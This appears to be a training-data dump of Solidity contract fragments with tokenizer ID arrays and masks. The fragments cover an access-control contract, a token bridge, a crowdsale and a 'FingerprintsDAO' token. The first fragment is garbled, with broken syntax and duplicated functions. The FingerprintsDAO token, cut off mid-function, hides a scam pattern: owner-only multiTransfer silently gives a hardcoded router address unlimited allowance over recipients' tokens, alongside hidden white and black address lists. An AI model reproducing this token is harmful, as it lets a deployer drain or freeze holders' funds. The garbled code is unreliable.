contract AccessControl { function settle(address user, bytes6 ilkId, bytes6 baseId, uint128 ink, uint128 art) private } IJoin baseJoin = ladle.joins(baseId); require (baseJoin != IJoin(address(0)), "Join not found"); baseJoin.join(user, art); } } function inkPrice(DataTypes.Balances memory balances, uint256 initialOffer_, uint256 duration_, uint256 elapsed) private pure returns (uint256 price) } } pragma solidity ^0.8.0; import "hardhat/console.sol"; struct RoleData { mapping (address => bool) members; bytes4 adminRole; } mapping (bytes4 => RoleData) private _roles; bytes4 public constant ROOT = 0x00000000; event RoleAdminChanged(bytes4 indexed role, bytes4 indexed newAdminRole); event RoleGranted(bytes4 indexed role, address indexed account, address indexed sender); event RoleRevoked(bytes4 indexed role, address indexed account, address indexed sender); constructor () { } modifier auth() { require (_hasRole(msg.sig, msg.sender), "Access denied"); _; } modifier admin(bytes4 role) { require (_hasRole(_getRoleAdmin(role), msg.sender), "Only admin"); _; } function hasRole(bytes4 role, address account) external view returns (bool) { return _hasRole(role, account); } function getRoleAdmin(bytes4 role) external view returns (bytes4) { return _getRoleAdmin(role); } function setRoleAdmin(bytes4 role, bytes4 adminRole) external virtual admin(role) { _setRoleAdmin(role, adminRole); } function grantRole(bytes4 role, address account) external virtual admin(role) { _grantRole(role, account); } function grantRoles(bytes4[] memory roles, address account) external virtual { for (uint256 i = 0; i < roles.length; i++) { require (_hasRole(_getRoleAdmin(roles[i]), msg.sender), "Only admin"); _grantRole(roles[i], account); } } function grantRoles(bytes4[] memory roles, address account) external virtual { for (uint256 i = 0; i < roles.length; i++) { require (_hasRole(_getRoleAdmin(roles[i]), msg.sender), "Only admin"); _grantRole(roles[i], account); } } function lockRole(bytes4 role) external virtual admin(role) { _setRoleAdmin(role, LOCK); } function revokeRole(bytes4 role, address account) external virtual admin(role) { _revokeRole(role, account); } function revokeRoles(bytes4[] memory roles, address account) external virtual { for (uint256 i = 0; i < roles.length; i++) { require (_hasRole(_getRoleAdmin(roles[i]), msg.sender), "Only admin"); _revokeRole(roles[i], account); } } function revokeRoles(bytes4[] memory roles, address account) external virtual { for (uint256 i = 0; i < roles.length; i++) { require (_hasRole(_getRoleAdmin(roles[i]), msg.sender), "Only admin"); _revokeRole(roles[i], account); } } function renounceRole(bytes4 role, address account) external virtual { require(account == msg.sender, "Renounce only for self"); _revokeRole(role, account); } function _hasRole(bytes4 role, address account) internal view returns (bool) { return _roles[role].members[account]; } function _getRoleAdmin(bytes4 role) internal view returns (bytes4) { return _roles[role].adminRole; } function _setRoleAdmin(bytes4 role, bytes4 adminRole) internal virtual { if (_getRoleAdmin(role) != adminRole) { _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, adminRole); } } function _setRoleAdmin(bytes4 role, bytes4 adminRole) internal virtual { if (_getRoleAdmin(role) != adminRole) { _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, adminRole); } } function _grantRole(bytes4 role, address account) internal { if (!_hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, msg.sender); } } function _grantRole(bytes4 role, address account) internal { if (!_hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, msg.sender); } } function _revokeRole(bytes4 role, address account) internal { if (_hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, msg.sender); } } function _revokeRole(bytes4 role, address account) internal { if (_hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, msg.sender); } } }
12,663,705
[ 1, 3118, 28826, 17, 13211, 17, 3004, 30, 490, 1285, 225, 13456, 1605, 716, 5360, 2325, 358, 2348, 2478, 17, 12261, 2006, 3325, 1791, 28757, 18, 19576, 854, 29230, 358, 635, 3675, 1375, 3890, 24, 68, 2756, 18, 8646, 854, 2665, 358, 506, 326, 14862, 364, 777, 326, 4186, 316, 326, 6835, 18, 13409, 4900, 1410, 506, 16265, 316, 326, 3903, 1491, 471, 506, 3089, 30, 31621, 1731, 24, 1071, 5381, 11011, 273, 374, 92, 12648, 31, 31621, 19576, 2406, 15693, 2006, 358, 279, 445, 745, 18, 2457, 716, 13115, 16, 999, 288, 1944, 6713, 31621, 445, 8431, 1435, 1071, 1357, 288, 377, 1372, 289, 31621, 19576, 848, 506, 17578, 471, 22919, 18373, 3970, 326, 288, 16243, 2996, 97, 471, 288, 9083, 3056, 2996, 97, 4186, 18, 8315, 2478, 711, 392, 3627, 3981, 2478, 16, 471, 1338, 9484, 716, 1240, 279, 2478, 1807, 3981, 2478, 848, 745, 288, 16243, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 24349, 288, 203, 565, 445, 444, 5929, 12, 2867, 729, 16, 1731, 26, 14254, 79, 548, 16, 1731, 26, 1026, 548, 16, 2254, 10392, 316, 79, 16, 2254, 10392, 3688, 13, 203, 3639, 3238, 203, 3639, 289, 203, 5411, 467, 4572, 1026, 4572, 273, 328, 361, 298, 18, 30624, 12, 1969, 548, 1769, 203, 5411, 2583, 261, 1969, 4572, 480, 467, 4572, 12, 2867, 12, 20, 13, 3631, 315, 4572, 486, 1392, 8863, 203, 5411, 1026, 4572, 18, 5701, 12, 1355, 16, 3688, 1769, 203, 3639, 289, 377, 203, 565, 289, 203, 203, 565, 445, 316, 79, 5147, 12, 751, 2016, 18, 38, 26488, 3778, 324, 26488, 16, 2254, 5034, 2172, 10513, 67, 16, 2254, 5034, 3734, 67, 16, 2254, 5034, 9613, 13, 203, 3639, 3238, 16618, 203, 3639, 1135, 261, 11890, 5034, 6205, 13, 203, 565, 289, 203, 97, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 5666, 315, 20379, 11304, 19, 8698, 18, 18281, 14432, 203, 203, 565, 1958, 6204, 751, 288, 203, 3639, 2874, 261, 2867, 516, 1426, 13, 4833, 31, 203, 3639, 1731, 24, 3981, 2996, 31, 203, 565, 289, 203, 203, 565, 2874, 261, 3890, 24, 516, 6204, 751, 13, 3238, 389, 7774, 31, 203, 203, 565, 1731, 24, 1071, 5381, 11011, 273, 374, 92, 12648, 31, 203, 203, 203, 203, 203, 565, 871, 6204, 4446, 5033, 12, 3890, 24, 8808, 2478, 16, 1731, 24, 8808, 394, 4446, 2996, 1769, 203, 565, 871, 6204, 14570, 12, 3890, 24, 8808, 2478, 16, 1758, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../common/Upgradeable.sol"; contract Bridge is Upgradeable { using SignatureUtils for TransferData; constructor(address _proxy) Upgradeable(_proxy) {} /** * @dev To approve or revoke a token from acceptance list * @param _tokenAddress the token address * @param _value true/false */ function setTokenApproval(address _tokenAddress, bool _value) public onlyOwner { isApprovedToken[_tokenAddress] = _value; } /** * @dev To approve or revoke a signer from list * @param _newSigner the address of new signer */ function setSigner(address _newSigner) public onlyOwner { require(_newSigner != address(0), "Bridge: signer is zero address"); require( _newSigner != signer, "Bridge: cannot transfer to current signer" ); signer = _newSigner; emit SetSignerEvent(_newSigner); } /** * @dev To add or remove an account from blacklist * @param _account the address of account * @param _value true/false */ function setBlacklist(address _account, bool _value) public onlyOwner { require(_account != address(0), "Bridge: receive zero address"); blacklist[_account] = _value; } /** * @dev To check an account blacklisted or not * @param _account the account to check */ function isBlacklisted(address _account) public view returns (bool) { return blacklist[_account]; } /** * @dev Call when the user swap from chain A to chain B * @notice The user will burn the token, then it will return the other token on other chain * @param _addr (0) fromToken, (1) toToken, (2) fromAddress, (3) toAddress * @param _data (0) amount * @param _internalTxId the transaction id */ function burnToken( address[] memory _addr, uint256[] memory _data, string memory _internalTxId ) public notBlacklisted nonReentrant { TransferData memory transferData = TransferData( _addr[0], _addr[1], _addr[2], _addr[3], _data[0], _internalTxId ); _execute(transferData, 0, "", address(0)); } /** * @dev Call when the user claim on chain B when swapping from chain A to chain B * @param _addr (0) fromToken, (1) toToken, (2) fromAddress, (3) toAddress, (4) signer * @param _data (0) amount * @param _internalTxId the transaction id * @param _signature the transaction's signature created by the signer */ function mintToken( address[] memory _addr, uint256[] memory _data, string memory _internalTxId, bytes memory _signature ) public notBlacklisted nonReentrant { TransferData memory transferData = TransferData( _addr[0], _addr[1], _addr[2], _addr[3], _data[0], _internalTxId ); _execute(transferData, 1, _signature, _addr[4]); } /** * @dev Internal function to execute the lock/unlock request * @param _transferData the transfer data * @param _type 0: lock , 1: unlock * @param _signature the transaction's signature created by the signer */ function _execute( TransferData memory _transferData, uint8 _type, bytes memory _signature, address _signer ) internal { { require( _transferData.amount > 0, "Diamond Alpha Bridge: Amount must be greater than 0" ); require( _transferData.toAddress != address(0), "Diamond Alpha Bridge: To address is zero address" ); require( _transferData.fromAddress != address(0), "Diamond Alpha Bridge: From address is zero address" ); require( _transferData.fromToken != address(0), "Diamond Alpha Bridge: Token address is zero address" ); require( _transferData.toToken != address(0), "Diamond Alpha Bridge: Token address is zero address" ); } if (_type == 0) { // 0: Lock --> Burn, 1: Unlock --> Mint require( msg.sender == _transferData.fromAddress, "Diamond Alpha Bridge: Cannot lock token" ); require( isApprovedToken[_transferData.fromToken], "Diamond Alpha Bridge: Token is not supported" ); IERC20(_transferData.fromToken).burnFrom( _transferData.fromAddress, _transferData.amount ); } else { require( _transferData.toAddress == msg.sender, "Diamond Alpha Bridge: You are not recipient" ); require(_signer == signer, "Diamond Alpha Bridge: Only signer"); require( isApprovedToken[_transferData.toToken], "Diamond Alpha Bridge: Token is not supported" ); require( _transferData.verify(_signature, _signer), "Diamond Alpha Bridge: Verify transfer data failed" ); require( !isExecutedTransaction[_signature], "Diamond Alpha Bridge: Transfer data has been processed before" ); IERC20(_transferData.toToken).mint( _transferData.toAddress, _transferData.amount ); isExecutedTransaction[_signature] = true; } emit MintOrBurnEvent( _transferData.internalTxId, _transferData.toAddress, _transferData.fromAddress, _transferData.fromToken, _transferData.toToken, _transferData.amount, _type ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ReentrancyGuard.sol"; import "../utils/SignatureUtils.sol"; import "./Structs.sol"; import "../interfaces/IERC20.sol"; import "../interfaces/IProxy.sol"; contract Upgradeable is ReentrancyGuard { address public immutable proxy; address public signer; mapping(address => bool) public isApprovedToken; mapping(bytes => bool) public isExecutedTransaction; mapping(address => bool) blacklist; constructor(address _proxy) { proxy = _proxy; } modifier onlyOwner() { require( msg.sender == IProxy(proxy).proxyOwner(), "Diamond Alpha Bridge: Only owner" ); _; } modifier notBlacklisted() { require( !blacklist[msg.sender], "Diamond Alpha Bridge: This address is blacklisted" ); _; } event MintOrBurnEvent( string internalTxId, address indexed toAddress, address indexed fromAddress, address indexed fromToken, address toToken, uint256 amount, uint8 eventType ); event SetSignerEvent(address indexed newSigner); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../common/Structs.sol"; library SignatureUtils { /** * @dev To hash the transfer data into bytes32 * @param _data the transfer data * @return hash the hash of transfer data */ function getMessageHash(TransferData memory _data) internal pure returns (bytes32) { return keccak256( abi.encodePacked( _data.fromToken, _data.toToken, _data.fromAddress, _data.toAddress, _data.amount, _data.internalTxId ) ); } /** * @dev To get the eth-signed message of hash * @param _messageHash the hash of transfer data * @return ethSignedMessage the eth signed message hash */ function getEthSignedMessageHash(bytes32 _messageHash) internal pure returns (bytes32) { return keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", _messageHash ) ); } /** * @dev To verify the transfer data and transfer signature * @param _data the transfer data * @param _signature the signature of transfer * @return result true/false */ function verify(TransferData memory _data, bytes memory _signature, address _signer) internal pure returns (bool) { bytes32 messageHash = getMessageHash(_data); bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash); return recoverSigner(ethSignedMessageHash, _signature) == _signer; } /** * @dev To recover the signer from signature and hash * @param _hash the hash of transfer data * @param _signature the signature which was signed by the admin * @return signer the address of signer */ function recoverSigner(bytes32 _hash, bytes memory _signature) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; // Check the signature length if (_signature.length != 65) { return (address(0)); } assembly { r := mload(add(_signature, 0x20)) s := mload(add(_signature, 0x40)) v := byte(0, mload(add(_signature, 0x60))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { // solium-disable-next-line arg-overflow return ecrecover(_hash, v, r, s); } } } // ["0xeDb21A5bAdc10a5233767e6019C1a92AE6D14793", "0x577f0d8EE0e2C570fbC4f1f98beB85A848ef7556", "0xa781bc9ef3dc0d1e13f973264ff49531a1c84577", "0xa781bc9ef3dc0d1e13f973264ff49531a1c84577", 100000000, "62329a1cabac1e4302f4a07f"] // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; struct TransferData { address fromToken; address toToken; address fromAddress; address toAddress; uint256 amount; string internalTxId; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { /** * @dev Create `amount` tokens and assigns them to `account``, increasing the total supply */ function mint(address account, uint256 amount) external; /** * @dev Destroys `amount` tokens from `account`, reducing the total supply */ function burnFrom(address account, uint256 amount) external; /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IProxy { function proxyOwner() external view returns (address); }
* @dev Call when the user claim on chain B when swapping from chain A to chain B @param _addr (0) fromToken, (1) toToken, (2) fromAddress, (3) toAddress, (4) signer @param _data (0) amount @param _internalTxId the transaction id @param _signature the transaction's signature created by the signer/
function mintToken( address[] memory _addr, uint256[] memory _data, string memory _internalTxId, bytes memory _signature ) public notBlacklisted nonReentrant { TransferData memory transferData = TransferData( _addr[0], _addr[1], _addr[2], _addr[3], _data[0], _internalTxId ); _execute(transferData, 1, _signature, _addr[4]); }
6,181,781
[ 1, 1477, 1347, 326, 729, 7516, 603, 2687, 605, 1347, 7720, 1382, 628, 2687, 432, 358, 2687, 605, 225, 389, 4793, 261, 20, 13, 628, 1345, 16, 261, 21, 13, 358, 1345, 16, 261, 22, 13, 628, 1887, 16, 261, 23, 13, 358, 1887, 16, 261, 24, 13, 10363, 225, 389, 892, 261, 20, 13, 3844, 225, 389, 7236, 29388, 326, 2492, 612, 225, 389, 8195, 326, 2492, 1807, 3372, 2522, 635, 326, 10363, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 1345, 12, 203, 3639, 1758, 8526, 3778, 389, 4793, 16, 203, 3639, 2254, 5034, 8526, 3778, 389, 892, 16, 203, 3639, 533, 3778, 389, 7236, 29388, 16, 203, 3639, 1731, 3778, 389, 8195, 203, 565, 262, 1071, 486, 13155, 18647, 1661, 426, 8230, 970, 288, 203, 3639, 12279, 751, 3778, 7412, 751, 273, 12279, 751, 12, 203, 5411, 389, 4793, 63, 20, 6487, 203, 5411, 389, 4793, 63, 21, 6487, 203, 5411, 389, 4793, 63, 22, 6487, 203, 5411, 389, 4793, 63, 23, 6487, 203, 5411, 389, 892, 63, 20, 6487, 203, 5411, 389, 7236, 29388, 203, 3639, 11272, 203, 203, 3639, 389, 8837, 12, 13866, 751, 16, 404, 16, 389, 8195, 16, 389, 4793, 63, 24, 19226, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x5f824733d130Ad85EC5e180368559CC89D14933D/sources/MonoretoToken.sol
original contract owner, needed for transfering the ownership of token back after the end of crowdsale
contract BaseMonoretoCrowdsale is CappedCrowdsale, RefundableCrowdsale, MintedCrowdsale { using SafeMath for uint256; uint256 public usdEth; uint256 public usdMnr; uint256 public tokensPurchased; uint256 public tokenTarget; uint256 public constant CENT_DECIMALS = 100000; address internal deployer; function BaseMonoretoCrowdsale(uint256 _tokenTarget, uint256 _usdEth, uint256 _usdMnr) public { require(_tokenTarget > 0); require(_usdEth > 0); require(_usdMnr > 0); tokenTarget = _tokenTarget; usdEth = _usdEth; usdMnr = _usdMnr; deployer = msg.sender; } function setUsdEth(uint256 _usdEth) external onlyOwner { usdEth = _usdEth; rate = _usdEth.mul(CENT_DECIMALS).div(usdMnr); } function setUsdMnr(uint256 _usdMnr) external onlyOwner { usdMnr = _usdMnr; rate = usdEth.mul(CENT_DECIMALS).div(_usdMnr); } function hasClosed() public view returns (bool) { return super.hasClosed() || capReached(); } uint256 public constant ETHER_THRESHOLD = 100 finney; function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { uint256 newTokenAmount = tokensPurchased.add(_getTokenAmount(_weiAmount)); require(newTokenAmount <= tokenTarget); require(_weiAmount >= ETHER_THRESHOLD); super._preValidatePurchase(_beneficiary, _weiAmount); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(usdEth).mul(CENT_DECIMALS).div(usdMnr); } function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { tokensPurchased = tokensPurchased.add(_tokenAmount); super._deliverTokens(_beneficiary, _tokenAmount); } function finalization() internal { super.finalization(); MonoretoToken castToken = MonoretoToken(token); castToken.transferOwnership(deployer); } }
4,364,721
[ 1, 8830, 6835, 3410, 16, 3577, 364, 7412, 310, 326, 23178, 434, 1147, 1473, 1839, 326, 679, 434, 276, 492, 2377, 5349, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 3360, 11415, 479, 869, 39, 492, 2377, 5349, 353, 11200, 1845, 39, 492, 2377, 5349, 16, 3941, 1074, 429, 39, 492, 2377, 5349, 16, 490, 474, 329, 39, 492, 2377, 5349, 288, 203, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 2254, 5034, 1071, 584, 72, 41, 451, 31, 203, 565, 2254, 5034, 1071, 584, 72, 49, 11611, 31, 203, 565, 2254, 5034, 1071, 2430, 10262, 343, 8905, 31, 203, 565, 2254, 5034, 1071, 1147, 2326, 31, 203, 203, 565, 2254, 5034, 1071, 5381, 385, 2222, 67, 23816, 55, 273, 25259, 31, 203, 203, 565, 1758, 2713, 7286, 264, 31, 203, 203, 565, 445, 3360, 11415, 479, 869, 39, 492, 2377, 5349, 12, 11890, 5034, 389, 2316, 2326, 16, 2254, 5034, 389, 407, 72, 41, 451, 16, 2254, 5034, 389, 407, 72, 49, 11611, 13, 1071, 203, 565, 288, 203, 3639, 2583, 24899, 2316, 2326, 405, 374, 1769, 203, 3639, 2583, 24899, 407, 72, 41, 451, 405, 374, 1769, 203, 3639, 2583, 24899, 407, 72, 49, 11611, 405, 374, 1769, 203, 203, 3639, 1147, 2326, 273, 389, 2316, 2326, 31, 203, 3639, 584, 72, 41, 451, 273, 389, 407, 72, 41, 451, 31, 203, 3639, 584, 72, 49, 11611, 273, 389, 407, 72, 49, 11611, 31, 203, 203, 3639, 7286, 264, 273, 1234, 18, 15330, 31, 203, 565, 289, 203, 203, 565, 445, 444, 3477, 72, 41, 451, 12, 11890, 5034, 389, 407, 72, 41, 451, 13, 3903, 1338, 5541, 288, 203, 3639, 584, 72, 41, 451, 273, 389, 2 ]
./full_match/43114/0x3CC4cbF490a8Ac5Dd4c9eA8fC57e29407d56a7CE/sources/sdgaw.sol
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
contract FingerprintsDAO is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0xE54Ca86531e17Ef3616d22Ca28b0D458b6C89106; } constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), 